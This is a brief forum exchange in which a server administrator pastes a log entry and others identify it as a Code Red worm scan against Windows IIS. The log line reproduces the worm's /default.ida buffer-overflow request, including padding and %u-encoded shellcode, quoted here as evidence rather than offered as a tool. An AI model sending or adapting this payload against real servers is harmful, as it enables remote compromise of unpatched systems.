I'm getting this in my stats logs.

Host: 66.89.136.90 Url: /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb d3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a Http Code : HTTP/1.0"
Date: Aug 28 12:36:00 Http Version: Size in Bytes: 404
Referer: -

I know at least one of my customers is getting the same thing. What is it and what if anything should I do.

Thank you for your help.

That is code red...If you are on unix don't worry about it to much.

looks like a standard buffer overflow job... not sure but it's probabbly just code red worm scanning your system. unless you're running windows server you have nothing to worry about...

I'm running RH6.2 on that server. So I guess all is well. Thank you all for your help